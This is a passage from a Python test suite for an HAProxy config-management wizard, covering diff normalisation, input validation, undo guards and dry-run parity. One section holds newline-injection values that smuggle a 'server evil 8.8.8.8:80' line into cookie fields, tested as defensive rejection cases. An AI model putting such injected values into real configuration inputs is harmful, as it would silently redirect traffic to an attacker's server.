twice = _normalize_haproxy_config_text_for_diff(once)
assert once == twice, (
f"Bulgu #15 regression: normalizer is not idempotent. "
f"Diff between once and twice: "
f"{[l for l in once.split(chr(10)) if l not in twice.split(chr(10))]}"
)
def test_diff_endpoint_imports_normalizer():
"""Static-source pin: the diff endpoint in routers/cluster.py
must import and call `_normalize_haproxy_config_text_for_diff`
on both `previous_version` and `current_version` config_content
before feeding them to `difflib.unified_diff`.
"""
from pathlib import Path
src = (
Path(__file__).resolve().parents[1]
/ "routers"
/ "cluster.py"
)
body = src.read_text()
assert "_normalize_haproxy_config_text_for_diff" in body, (
"Bulgu #15 regression: diff endpoint no longer imports the "
"normalizer helper; renderer evolution will once again "
"surface as `+`/`-` noise on untouched entities."
)
assert "prev_norm" in body and "curr_norm" in body, (
"Bulgu #15 regression: diff endpoint must apply "
"normalization to BOTH sides; otherwise the diff is "
"asymmetric and produces misleading +/- counts."
)
# ──────────────────────────────────────────────────────────────────────
# Bulgu #15 round-5 hardening — normalizer edge cases the initial fix
# did not cover.
#
# Each test below pins one specific corner case that, if mishandled by
# the normalizer, would either OVER-STRIP (silently break a valid
# config) or UNDER-STRIP (leave renderer noise in the diff).
# ──────────────────────────────────────────────────────────────────────
def test_normalize_preserves_cookie_when_defaults_declares_it():
"""If the `defaults` section declares `cookie SRVNAME insert ...`,
HAProxy semantics say every subsequent `backend` / `listen`
INHERITS that directive. The per-server `cookie <name>` is
therefore licensed and must NOT be stripped, even if the
backend block itself doesn't repeat the directive.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"defaults\n"
" mode http\n"
" cookie SRVNAME insert indirect nocache\n"
"\n"
"backend be-inherit\n"
" balance roundrobin\n"
" server srv1 1.1.1.1:8080 weight 100 check cookie c1\n"
" server srv2 2.2.2.2:8080 weight 100 check cookie c2\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
cookie_servers = [
ln for ln in normalized.split('\n')
if ln.strip().startswith('server ') and ' cookie ' in ln
]
assert len(cookie_servers) == 2, (
f"Bulgu #15 round-5 regression: defaults-cookie inheritance "
f"was ignored — per-server cookies were INCORRECTLY stripped "
f"on backends that inherit the directive from defaults. "
f"Got: {cookie_servers}"
)
def test_normalize_handles_listen_block_track_sc_dedup():
"""`listen` blocks have BOTH frontend AND backend semantics in
HAProxy. They can declare `http-request track-sc<N>` (frontend-
style) and `server` lines with `cookie <name>` (backend-style).
The normalizer must apply both transformations correctly.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"listen ln-test\n"
" bind *:8080\n"
" mode http\n"
" http-request track-sc0 src\n"
" http-request deny if { sc_http_req_rate(0) gt 100 }\n"
" http-request track-sc0 src\n"
" http-request deny if { sc_http_req_rate(0) gt 200 }\n"
" server srv1 1.1.1.1:8080 weight 100 check\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
track_lines = [
ln for ln in normalized.split('\n')
if ln.strip() == 'http-request track-sc0 src'
]
assert len(track_lines) == 1, (
f"Bulgu #15 round-5 regression: track-sc<N> dedup did not "
f"apply inside a `listen` block — got {len(track_lines)} "
f"track-sc0 lines."
)
def test_normalize_strips_per_server_cookie_in_listen_block():
"""Per-server cookie strip must also apply to `listen` blocks
(which can host `server` lines) — same conditional rule as
backend (strip only if neither the listen block nor `defaults`
declares a `cookie` directive).
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"listen ln-no-cookie\n"
" bind *:8081\n"
" mode http\n"
" server srv1 1.1.1.1:8081 weight 100 check cookie c1\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
cookie_servers = [
ln for ln in normalized.split('\n')
if ln.strip().startswith('server ') and ' cookie ' in ln
]
assert cookie_servers == [], (
f"Bulgu #15 round-5 regression: per-server cookie in `listen` "
f"block was NOT stripped even though the listen block has no "
f"licensing `cookie` directive. Got: {cookie_servers}"
)
def test_normalize_preserves_listen_cookie_when_self_declared():
"""If a `listen` block declares its OWN `cookie ...` directive,
per-server cookies are licensed and must be preserved.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"listen ln-with-cookie\n"
" bind *:8082\n"
" mode http\n"
" cookie SVCID insert indirect nocache\n"
" server srv1 1.1.1.1:8082 weight 100 check cookie c1\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
cookie_servers = [
ln for ln in normalized.split('\n')
if ln.strip().startswith('server ') and ' cookie ' in ln
]
assert len(cookie_servers) == 1, (
f"Bulgu #15 round-5 regression: listen-block cookie directive "
f"was ignored — per-server cookie was INCORRECTLY stripped. "
f"Got: {cookie_servers}"
)
def test_normalize_preserves_server_named_cookie():
"""An operator who unwisely named a server `cookie` (it IS a valid
server-name token) must NOT have its address stripped by the
normalizer's pair-strip pass. Guard: cookie strip only applies
at i >= 3 in the token list (after `server`, `<name>`,
`<address>`).
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"backend be-edge\n"
" balance roundrobin\n"
" server cookie 1.1.1.1:8080 weight 100 check\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
out_lines = [
ln.strip() for ln in normalized.split('\n')
if ln.strip().startswith('server ')
]
assert out_lines == [
'server cookie 1.1.1.1:8080 weight 100 check'
], (
f"Bulgu #15 round-5 regression: pair-strip incorrectly "
f"consumed the server-name 'cookie' along with its "
f"address token. Got: {out_lines}"
)
def test_normalize_handles_empty_and_whitespace_input():
"""Defensive: empty / whitespace-only / None-like inputs must
pass through without error.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
assert _normalize_haproxy_config_text_for_diff("") == ""
assert _normalize_haproxy_config_text_for_diff(None) is None
# Newlines-only input.
assert _normalize_haproxy_config_text_for_diff("\n\n\n") == "\n\n\n"
def test_normalize_handles_comments_that_look_like_directives():
"""A comment line that LOOKS like a directive (`# server ...`)
must NOT trigger the cookie strip pass; conversely a comment
that looks like `# cookie ...` must NOT register as a backend
cookie directive.
"""
from services.haproxy_config import (
_normalize_haproxy_config_text_for_diff,
)
text = (
"backend be-comments\n"
" balance roundrobin\n"
" # cookie SRVNAME insert ← this comment must NOT count\n"
" # server srv-disabled 1.1.1.1:1 cookie ghost ← also a comment\n"
" server srv1 1.1.1.1:8080 check cookie ghost\n"
)
normalized = _normalize_haproxy_config_text_for_diff(text)
# The commented `cookie SRVNAME insert` must NOT count as a
# licensing directive — so the live `server` line's cookie
# MUST be stripped.
cookie_servers = [
ln for ln in normalized.split('\n')
if ln.strip().startswith('server ') and ' cookie ' in ln
]
assert cookie_servers == [], (
f"Bulgu #15 round-5 regression: a COMMENTED-OUT `cookie` "
f"directive incorrectly counted as licensing, leaving a "
f"broken stickiness setup intact. Got: {cookie_servers}"
)
# The commented-out `server` line must pass through verbatim.
comments = [
ln for ln in normalized.split('\n') if ln.strip().startswith('# ')
]
assert any('cookie SRVNAME insert' in c for c in comments), (
"Bulgu #15 round-5 regression: commented-out directives "
"must pass through unchanged."
)
assert any('# server srv-disabled' in c for c in comments), (
"Bulgu #15 round-5 regression: commented-out `server` "
"line was mangled."
)
# ──────────────────────────────────────────────────────────────────────
# Bulgu #16 round-6 hardening — additional wizard correctness fixes
#
# Three independent improvements, each fixing an "easy to enter
# garbage, hard to discover the cause" UX issue:
#
# 1. Wizard payload `domains` list dedupes case-insensitively
# and rejects duplicates with a readable error (was silently
# forwarded to LE / ACL routing / audit logs).
#
# 2. `frontend.monitor_uri` Pydantic validator enforces the
# `/`-prefixed-no-whitespace contract HAProxy actually needs
# (was Optional[str] with only max_length).
#
# 3. `ssl.https_frontend_name_suffix` Pydantic validator rejects
# empty / non-character-class suffixes (was Optional[str] with
# only max_length — empty produced a downstream
# `frontend collision` error after a wasted submit round-trip).
#
# Plus one architectural guard on the rejected-version undo path:
# 4. `undo_reject_config_version` refuses to undo a
# `bulk-site-create-*` / `bulk-import-*` / `restore-*`
# rejection. Those reject paths hard-delete the underlying
# entities and the snapshot has `new_values={}` so undo
# cannot recreate them — silent corruption pre-fix.
# ──────────────────────────────────────────────────────────────────────
def test_wizard_rejects_duplicate_domains_case_insensitive():
"""Operator submits `["Site.com", "site.com", "www.site.com"]` —
the first two normalise to the SAME entry. Pydantic must reject
with a clear duplicate-list message instead of silently passing
the duplicate forward (LE / ACL / audit).
"""
from pydantic import ValidationError
from models.site_wizard import SiteCreate
minimal_payload = {
"cluster_id": 1,
"domains": ["Site.com", "site.com", "www.site.com"],
"backend": {"name": "be1"},
"servers": [{"server_name": "s1", "server_address": "1.1.1.1", "server_port": 80}],
"frontend": {"name": "fe1"},
"ssl": {"mode": "none"},
}
try:
SiteCreate(**minimal_payload)
except ValidationError as e:
assert any('Duplicate domain' in str(err) for err in e.errors()), (
f"Bulgu #16 regression: duplicate domains were accepted "
f"silently. Got errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #16 regression: duplicate domains were not rejected"
)
def test_wizard_accepts_unique_domains_after_normalisation():
"""Positive control: case-DIFFERENT but logically distinct
domains pass through. `Foo.com` + `bar.com` are both unique.
"""
from models.site_wizard import SiteCreate
minimal_payload = {
"cluster_id": 1,
"domains": ["Foo.com", "bar.com"],
"backend": {"name": "be1"},
"servers": [{"server_name": "s1", "server_address": "1.1.1.1", "server_port": 80}],
"frontend": {"name": "fe1"},
"ssl": {"mode": "none"},
}
sc = SiteCreate(**minimal_payload)
assert sc.domains == ["foo.com", "bar.com"], (
"Bulgu #16 regression: unique domains should be lowercased "
f"and order-preserved. Got {sc.domains}"
)
def test_wizard_monitor_uri_requires_leading_slash():
"""`monitor-uri hel` (no slash) is silently interpreted by HAProxy
as a non-matching path → operator's health probe always 503s.
"""
from pydantic import ValidationError
from models.site_wizard import FrontendStep
try:
FrontendStep(name="fe1", monitor_uri="hel")
except ValidationError as e:
assert any("absolute path" in str(err) for err in e.errors()), (
f"Bulgu #16 regression: non-slash-prefixed monitor_uri was "
f"accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #16 regression: monitor_uri='hel' must be rejected"
)
def test_wizard_monitor_uri_rejects_whitespace():
"""`monitor-uri /hel th` would be parsed as `monitor-uri /hel`
with `th` as an unknown trailing keyword — silent breakage.
"""
from pydantic import ValidationError
from models.site_wizard import FrontendStep
try:
FrontendStep(name="fe1", monitor_uri="/hel th")
except ValidationError as e:
assert any("whitespace" in str(err) for err in e.errors()), (
f"Bulgu #16 regression: whitespace in monitor_uri was "
f"accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #16 regression: monitor_uri with whitespace must be rejected"
)
def test_wizard_monitor_uri_accepts_simple_path():
"""Positive control: `/health` is a normal valid value."""
from models.site_wizard import FrontendStep
fs = FrontendStep(name="fe1", monitor_uri="/health")
assert fs.monitor_uri == "/health"
def test_wizard_https_suffix_rejects_empty_string():
"""Empty suffix would generate an HTTPS frontend name identical
to the HTTP frontend's name → fe_collision at submit. Reject
early with a clear message.
"""
from pydantic import ValidationError
from models.site_wizard import SSLChoice
try:
SSLChoice(mode="none", https_frontend_name_suffix="")
except ValidationError as e:
assert any("must not be empty" in str(err) for err in e.errors()), (
f"Bulgu #16 regression: empty https_frontend_name_suffix "
f"was accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #16 regression: empty https_frontend_name_suffix "
"must be rejected"
)
def test_wizard_https_suffix_rejects_invalid_chars():
"""Invalid chars (spaces, special chars) in the suffix would
produce a composite frontend name that breaks the HAProxy
parser.
"""
from pydantic import ValidationError
from models.site_wizard import SSLChoice
for bad in (" tls", "-https space", "tls!", "tls/v2"):
try:
SSLChoice(mode="none", https_frontend_name_suffix=bad)
except ValidationError:
continue
raise AssertionError(
f"Bulgu #16 regression: https_frontend_name_suffix={bad!r} "
"was accepted but should be rejected (invalid character class)"
)
def test_wizard_https_suffix_accepts_default():
"""Positive control: the default `-https` value passes."""
from models.site_wizard import SSLChoice
sc = SSLChoice(mode="none")
assert sc.https_frontend_name_suffix == "-https"
sc2 = SSLChoice(mode="none", https_frontend_name_suffix="_secure")
assert sc2.https_frontend_name_suffix == "_secure"
def test_undo_reject_endpoint_refuses_bulk_destructive_versions():
"""Static-source pin: the undo endpoint in routers/cluster.py
must reject `bulk-site-create-*` / `bulk-import-*` /
`bulk-proxied-host-create-*` / `restore-*` versions with a
clear 409 error. Pre-fix the endpoint silently flipped the
version to PENDING, but the entities had already been hard-
deleted in reject — the apply that followed undid nothing.
"""
from pathlib import Path
src = (
Path(__file__).resolve().parents[1]
/ "routers"
/ "cluster.py"
)
body = src.read_text()
assert "DESTRUCTIVE_PREFIXES" in body, (
"Bulgu #16 regression: undo endpoint no longer carries the "
"DESTRUCTIVE_PREFIXES guard tuple."
)
assert "'bulk-site-create-'" in body, (
"Bulgu #16 regression: wizard's bulk-site-create- prefix is "
"missing from the destructive-version guard list."
)
assert "'bulk-import-'" in body, (
"Bulgu #16 regression: bulk-import- prefix is missing from "
"the destructive-version guard list."
)
assert "'restore-'" in body, (
"Bulgu #16 regression: restore- prefix is missing from "
"the destructive-version guard list."
)
assert "status_code=409" in body, (
"Bulgu #16 regression: destructive-undo guard must return "
"HTTP 409 (operator semantics conflict), not 400/500."
)
def test_apply_management_hides_undo_for_destructive_versions():
"""Static-source pin: the ApplyManagement UI hides / disables
the Undo button for destructive bulk versions so the constraint
is self-documenting before the operator clicks.
"""
from pathlib import Path
src = (
Path(__file__).resolve().parents[1].parent
/ "frontend"
/ "src"
/ "components"
/ "ApplyManagement.js"
)
if not src.exists():
pytest.skip(
"frontend source tree not present in this build context "
"(backend-only image)."
)
body = src.read_text()
assert "bulk-site-create-" in body, (
"Bulgu #16 regression: ApplyManagement.js no longer checks "
"for bulk-site-create- prefix when rendering Undo button."
)
assert "destructive" in body, (
"Bulgu #16 regression: ApplyManagement.js Undo guard logic "
"is missing — operator can still click and surface 409."
)
assert "Undo (n/a)" in body or "disabled" in body, (
"Bulgu #16 regression: ApplyManagement.js must visibly mark "
"Undo as unavailable for destructive versions instead of "
"letting the click 409 silently."
)
# ──────────────────────────────────────────────────────────────────────
# Bulgu #17 round-7 audit — additional correctness checks
#
# Five fixes around server-list / health-check / frontend-backend
# mode consistency. Each catches a "wizard accepts → apply fails"
# class of bug at the model boundary so the operator sees a clear
# message instead of a generic 500.
# ──────────────────────────────────────────────────────────────────────
def test_wizard_rejects_duplicate_server_names():
"""Two `server srv1 ...` lines in the same backend block crash
`haproxy -c` with `Proxy 'be-foo' : duplicate server 'srv1'`.
"""
from pydantic import ValidationError
from models.site_wizard import SiteCreate
payload = {
"cluster_id": 1,
"domains": ["site.com"],
"backend": {"name": "be1"},
"servers": [
{"server_name": "srv1", "server_address": "1.1.1.1", "server_port": 80},
{"server_name": "srv1", "server_address": "2.2.2.2", "server_port": 80},
],
"frontend": {"name": "fe1"},
"ssl": {"mode": "none"},
}
try:
SiteCreate(**payload)
except ValidationError as e:
assert any("Duplicate server names" in str(err) for err in e.errors()), (
f"Bulgu #17 regression: duplicate server names were "
f"accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #17 regression: duplicate server names must be rejected"
)
def test_wizard_accepts_distinct_server_names_with_same_address():
"""Positive control: same address+port across two DIFFERENT
server names is allowed (operator may intentionally route the
same upstream through canary / primary aliases).
"""
from models.site_wizard import SiteCreate
payload = {
"cluster_id": 1,
"domains": ["site.com"],
"backend": {"name": "be1"},
"servers": [
{"server_name": "srv1-primary", "server_address": "1.1.1.1", "server_port": 80},
{"server_name": "srv1-canary", "server_address": "1.1.1.1", "server_port": 80},
],
"frontend": {"name": "fe1"},
"ssl": {"mode": "none"},
}
sc = SiteCreate(**payload)
assert len(sc.servers) == 2
def test_wizard_rejects_frontend_backend_mode_mismatch():
"""`frontend mode=http` + `backend mode=tcp` (or vice-versa) is
a config-file-fatal mismatch.
"""
from pydantic import ValidationError
from models.site_wizard import SiteCreate
payload = {
"cluster_id": 1,
"domains": ["site.com"],
"backend": {"name": "be1", "mode": "tcp"},
"servers": [
{"server_name": "srv1", "server_address": "1.1.1.1", "server_port": 80},
],
"frontend": {"name": "fe1", "mode": "http"},
"ssl": {"mode": "none"},
}
try:
SiteCreate(**payload)
except ValidationError as e:
assert any("must match backend.mode" in str(err) for err in e.errors()), (
f"Bulgu #17 regression: fe/be mode mismatch was accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #17 regression: fe/be mode mismatch must be rejected"
)
def test_wizard_accepts_matched_tcp_mode():
"""Positive control: matched tcp on both sides is fine."""
from models.site_wizard import SiteCreate
payload = {
"cluster_id": 1,
"domains": ["site.com"],
"backend": {"name": "be1", "mode": "tcp"},
"servers": [
{"server_name": "srv1", "server_address": "1.1.1.1", "server_port": 80},
],
"frontend": {"name": "fe1", "mode": "tcp"},
"ssl": {"mode": "none"},
}
sc = SiteCreate(**payload)
assert sc.frontend.mode == "tcp" and sc.backend.mode == "tcp"
def test_wizard_health_check_uri_requires_leading_slash():
"""Mirror of monitor_uri's `/` contract — applied to
`backend.health_check_uri` which feeds `option httpchk GET <uri>`.
"""
from pydantic import ValidationError
from models.site_wizard import BackendStep
try:
BackendStep(name="be1", health_check_uri="hh1")
except ValidationError as e:
assert any("must start with '/'" in str(err) for err in e.errors()), (
f"Bulgu #17 regression: non-slash health_check_uri "
f"accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #17 regression: health_check_uri='hh1' must be rejected"
)
def test_wizard_health_check_uri_rejects_empty_string():
"""Empty string disables nothing — emits `option httpchk GET `
which HAProxy rejects."""
from pydantic import ValidationError
from models.site_wizard import BackendStep
try:
BackendStep(name="be1", health_check_uri="")
except ValidationError as e:
assert any("must not be empty" in str(err) for err in e.errors()), (
f"Bulgu #17 regression: empty health_check_uri accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #17 regression: empty health_check_uri must be rejected"
)
def test_wizard_health_check_uri_rejects_whitespace():
"""Whitespace in URI splits the directive at the first space.
"""
from pydantic import ValidationError
from models.site_wizard import BackendStep
try:
BackendStep(name="be1", health_check_uri="/api status")
except ValidationError as e:
assert any("whitespace" in str(err) for err in e.errors()), (
f"Bulgu #17 regression: whitespace in health_check_uri "
f"accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #17 regression: whitespace in health_check_uri must "
"be rejected"
)
def test_wizard_server_address_rejects_whitespace_only():
"""`server_address` with min_length=1 alone accepts ' '. The
renderer then emits `server srv1 :8080` which HAProxy rejects.
"""
from pydantic import ValidationError
from models.site_wizard import ServerStep
try:
ServerStep(server_name="srv1", server_address=" ", server_port=80)
except ValidationError as e:
assert any("must not be empty" in str(err) for err in e.errors()), (
f"Bulgu #17 regression: whitespace-only server_address "
f"accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #17 regression: whitespace-only server_address must "
"be rejected"
)
def test_wizard_server_address_rejects_embedded_space():
"""`server_address='srv1 1.1.1.1'` would parse as name='srv1',
address='1.1.1.1' on the HAProxy line — silent value shift.
"""
from pydantic import ValidationError
from models.site_wizard import ServerStep
try:
ServerStep(server_name="srv1", server_address="srv1 1.1.1.1", server_port=80)
except ValidationError as e:
assert any("whitespace" in str(err) for err in e.errors()), (
f"Bulgu #17 regression: embedded-space server_address "
f"accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #17 regression: embedded-space server_address must "
"be rejected"
)
# ──────────────────────────────────────────────────────────────────────
# Bulgu #18 round-8 audit — security-sensitive single-line field
# newline-injection guard.
# ──────────────────────────────────────────────────────────────────────
def test_wizard_cookie_options_rejects_newline_injection():
"""Pre-fix `cookie_options="insert indirect\\n server evil 8.8.8.8:80"`
smuggled a `server` line into the rendered backend block.
"""
from pydantic import ValidationError
from models.site_wizard import BackendStep
try:
BackendStep(
name="be1",
cookie_name="SRVID",
cookie_options="insert indirect\n server evil 8.8.8.8:80",
)
except ValidationError as e:
assert any("line breaks" in str(err) for err in e.errors()), (
f"Bulgu #18 regression: newline in cookie_options "
f"accepted. Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #18 regression: newline-injected cookie_options must "
"be rejected"
)
def test_wizard_cookie_name_rejects_newline_injection():
"""Same guard on the cookie name (the FIRST token after `cookie`)."""
from pydantic import ValidationError
from models.site_wizard import BackendStep
try:
BackendStep(
name="be1",
cookie_name="SRV\n server evil 8.8.8.8:80",
)
except ValidationError as e:
assert any("line breaks" in str(err) for err in e.errors()), (
f"Bulgu #18 regression: newline in cookie_name accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #18 regression: newline-injected cookie_name must be rejected"
)
def test_wizard_cookie_options_accepts_normal_value():
"""Positive control: legitimate `cookie_options` pass."""
from models.site_wizard import BackendStep
bs = BackendStep(
name="be1",
cookie_name="SRVID",
cookie_options="insert indirect nocache httponly secure",
)
assert bs.cookie_options == "insert indirect nocache httponly secure"
def test_wizard_cookie_options_rejects_carriage_return():
"""Defensive: `\\r` injection (Windows line endings) is also blocked."""
from pydantic import ValidationError
from models.site_wizard import BackendStep
try:
BackendStep(
name="be1",
cookie_name="SRVID",
cookie_options="insert indirect\r\n server evil 8.8.8.8:80",
)
except ValidationError as e:
assert any("line breaks" in str(err) for err in e.errors()), (
f"Bulgu #18 regression: \\r in cookie_options accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #18 regression: \\r-injected cookie_options must be rejected"
)
# ──────────────────────────────────────────────────────────────────────
# Bulgu #19 round-9 audit — dry-run vs. real-renderer parity for
# request_headers / response_headers / cookie_options fields.
#
# Pre-fix the wizard's dry-run twin in `routers/site_wizard.py`
# diverged from the real renderer in
# `services/haproxy_config.py`:
#
# * request_headers / response_headers were DOUBLE-prefixed with
# `http-request set-header` / `http-response set-header`,
# producing garbage like:
# http-request set-header http-request set-header X-Real-IP %[src]
# which surfaced as misleading "directive may not be valid"
# warnings during the Step 5 dry-run.
#
# * backend-level request_headers / response_headers were SKIPPED
# entirely, so the operator never saw validator warnings until
# apply time.
#
# * cookie_options on the backend were SKIPPED, so the dry-run
# cookie line did not match the real renderer.
# ──────────────────────────────────────────────────────────────────────
def test_dry_run_emits_request_headers_verbatim_no_double_prefix():
"""The dry-run must emit each request_headers / response_headers
line VERBATIM (matching the real renderer at
`services/haproxy_config.py:1063-1074`), not double-prefixed.
"""
from routers.site_wizard import _build_candidate_fragment
from models.site_wizard import SiteCreate
payload = {
"cluster_id": 1,
"domains": ["site.com"],
"backend": {"name": "be1"},
"servers": [
{"server_name": "srv1", "server_address": "1.1.1.1", "server_port": 80},
],
"frontend": {
"name": "fe1",
"request_headers": (
"http-request add-header X-Forwarded-Proto https\n"
"http-request set-header X-Real-IP %[src]"
),
"response_headers": (
"http-response add-header X-Frame-Options SAMEORIGIN"
),
},
"ssl": {"mode": "none"},
}
body = SiteCreate(**payload)
frag = _build_candidate_fragment(body)
# Verbatim emission: directives appear EXACTLY ONCE per line,
# NOT prefixed with `http-request set-header` extra times.
assert frag.count("http-request set-header X-Real-IP %[src]") == 1, (
"Bulgu #19 regression: X-Real-IP line emitted incorrectly "
f"(count != 1). Fragment:\n{frag}"
)
assert frag.count("http-request add-header X-Forwarded-Proto https") == 1, (
"Bulgu #19 regression: X-Forwarded-Proto line emitted "
f"incorrectly (count != 1). Fragment:\n{frag}"
)
assert "http-request set-header http-request" not in frag, (
"Bulgu #19 regression: dry-run still double-prefixes "
"request_headers entries — the validator will surface "
"spurious warnings on a valid config."
)
assert "http-response set-header http-response" not in frag, (
"Bulgu #19 regression: dry-run still double-prefixes "
"response_headers entries."
)
# Positive: response header is present (verbatim).
assert "http-response add-header X-Frame-Options SAMEORIGIN" in frag, (
f"Bulgu #19 regression: response_headers verbatim line missing. "
f"Fragment:\n{frag}"
)
def test_dry_run_emits_backend_request_response_headers():
"""The dry-run must also emit backend-level header injections,
mirroring the real renderer at lines 1306-1324.
"""
from routers.site_wizard import _build_candidate_fragment
from models.site_wizard import SiteCreate
payload = {
"cluster_id": 1,
"domains": ["site.com"],
"backend": {
"name": "be1",
"request_headers": (
"http-request add-header X-Forwarded-Host %[req.hdr(host)]"
),
"response_headers": (
"http-response del-header Server"
),
},
"servers": [
{"server_name": "srv1", "server_address": "1.1.1.1", "server_port": 80},
],
"frontend": {"name": "fe1"},
"ssl": {"mode": "none"},
}
body = SiteCreate(**payload)
frag = _build_candidate_fragment(body)
assert "http-request add-header X-Forwarded-Host %[req.hdr(host)]" in frag, (
f"Bulgu #19 regression: backend-level request_headers not "
f"emitted by dry-run. Fragment:\n{frag}"
)
assert "http-response del-header Server" in frag, (
f"Bulgu #19 regression: backend-level response_headers not "
f"emitted by dry-run. Fragment:\n{frag}"
)
def test_dry_run_emits_cookie_options_when_provided():
"""If the operator customised `cookie_options`, the dry-run must
emit that string (not just the canonical defaults) so the
validator can flag a malformed value at Step 5.
"""
from routers.site_wizard import _build_candidate_fragment
from models.site_wizard import SiteCreate
payload = {
"cluster_id": 1,
"domains": ["site.com"],
"backend": {
"name": "be1",
"cookie_name": "SRVID",
"cookie_options": "insert indirect nocache httponly secure",
},
"servers": [
{"server_name": "srv1", "server_address": "1.1.1.1", "server_port": 80},
],
"frontend": {"name": "fe1"},
"ssl": {"mode": "none"},
}
body = SiteCreate(**payload)
frag = _build_candidate_fragment(body)
# The operator-supplied opts must appear; the canonical default
# block (`insert indirect nocache` alone) must NOT also appear
# as a duplicate line.
assert "cookie SRVID insert indirect nocache httponly secure" in frag, (
f"Bulgu #19 regression: cookie_options not emitted in dry-run. "
f"Fragment:\n{frag}"
)
cookie_lines = [
ln for ln in frag.splitlines()
if ln.strip().startswith("cookie SRVID")
]
assert len(cookie_lines) == 1, (
f"Bulgu #19 regression: duplicate cookie lines in dry-run "
f"(got {len(cookie_lines)}). Should be exactly one. "
f"Lines: {cookie_lines}"
)
def test_wizard_rejects_redirect_rules_on_tcp_frontend():
"""HAProxy `redirect` directives are HTTP-only. Pre-fix the wizard
accepted explicit redirect_rules on a `mode='tcp'` frontend (the
older check only caught the `https_redirect=true` sugar form);
the agent's `haproxy -c` then fatally rejected the config at
apply time.
"""
from pydantic import ValidationError
from models.site_wizard import FrontendStep
try:
FrontendStep(
name="fe1",
mode="tcp",
redirect_rules=[
{
"type": "scheme",
"scheme": "https",
"code": 301,
"condition": "if !{ ssl_fc }",
}
],
)
except ValidationError as e:
assert any(
"frontend.redirect_rules" in str(err) for err in e.errors()
), (
f"Bulgu #19 regression: tcp + redirect_rules accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #19 regression: tcp + redirect_rules must be rejected"
)
# ──────────────────────────────────────────────────────────────────────
# Bulgu #20 round-10 audit — additional TCP-mode HTTP-only feature
# guards. Each blocker below is a directive the renderer emits
# UNCONDITIONALLY but which HAProxy refuses to load in a TCP-mode
# frontend.
# ──────────────────────────────────────────────────────────────────────
def test_wizard_rejects_compression_on_tcp_frontend():
"""`compression algo gzip` cannot live inside a `mode tcp` frontend
(HAProxy parse error). The wizard must reject the combination at
submit time.
"""
from pydantic import ValidationError
from models.site_wizard import FrontendStep
try:
FrontendStep(name="fe1", mode="tcp", compression=True)
except ValidationError as e:
assert any("compression=true" in str(err) for err in e.errors()), (
f"Bulgu #20 regression: tcp + compression accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #20 regression: tcp + compression must be rejected"
)
def test_wizard_rejects_monitor_uri_on_tcp_frontend():
"""`monitor-uri /...` requires HTTP mode (HAProxy 2.4+ parse
error in TCP frontends).
"""
from pydantic import ValidationError
from models.site_wizard import FrontendStep
try:
FrontendStep(name="fe1", mode="tcp", monitor_uri="/health")
except ValidationError as e:
assert any("monitor_uri" in str(err) for err in e.errors()), (
f"Bulgu #20 regression: tcp + monitor_uri accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #20 regression: tcp + monitor_uri must be rejected"
)
def test_wizard_rejects_rate_limit_on_tcp_frontend():
"""`rate_limit` expands to a `stick-table` + `http-request track-sc0`
+ `http-request deny` pair. The `http-request` family is HTTP-only.
"""
from pydantic import ValidationError
from models.site_wizard import FrontendStep
try:
FrontendStep(name="fe1", mode="tcp", rate_limit=100)
except ValidationError as e:
assert any("rate_limit" in str(err) for err in e.errors()), (
f"Bulgu #20 regression: tcp + rate_limit accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #20 regression: tcp + rate_limit must be rejected"
)
def test_wizard_rejects_timeout_http_request_on_tcp_frontend():
"""`timeout http-request` is ignored on TCP frontends (HAProxy
emits a warning). Surface the misconfig at the model boundary.
"""
from pydantic import ValidationError
from models.site_wizard import FrontendStep
try:
FrontendStep(name="fe1", mode="tcp", timeout_http_request=5000)
except ValidationError as e:
assert any("timeout_http_request" in str(err) for err in e.errors()), (
f"Bulgu #20 regression: tcp + timeout_http_request accepted. "
f"Errors: {e.errors()}"
)
return
raise AssertionError(
"Bulgu #20 regression: tcp + timeout_http_request must be rejected"
)
def test_wizard_reports_all_tcp_blockers_in_single_error():
"""Operator submitting MULTIPLE blockers at once gets ONE
consolidated error message — not N separate ValidationError rounds
— so they can fix everything in one form pass.
"""
from pydantic import ValidationError
from models.site_wizard import FrontendStep
try:
FrontendStep(
name="fe1",
mode="tcp",
compression=True,
monitor_uri="/health",
rate_limit=100,
)
except ValidationError as e:
msg_blob = " ".join(str(err) for err in e.errors())
assert "compression=true" in msg_blob, (
f"Bulgu #20 regression: consolidated error missing "
f"compression. Errors: {e.errors()}"
)
assert "monitor_uri" in msg_blob, (
f"Bulgu #20 regression: consolidated error missing "
f"monitor_uri. Errors: {e.errors()}"
)
assert "rate_limit" in msg_blob, (
f"Bulgu #20 regression: consolidated error missing "
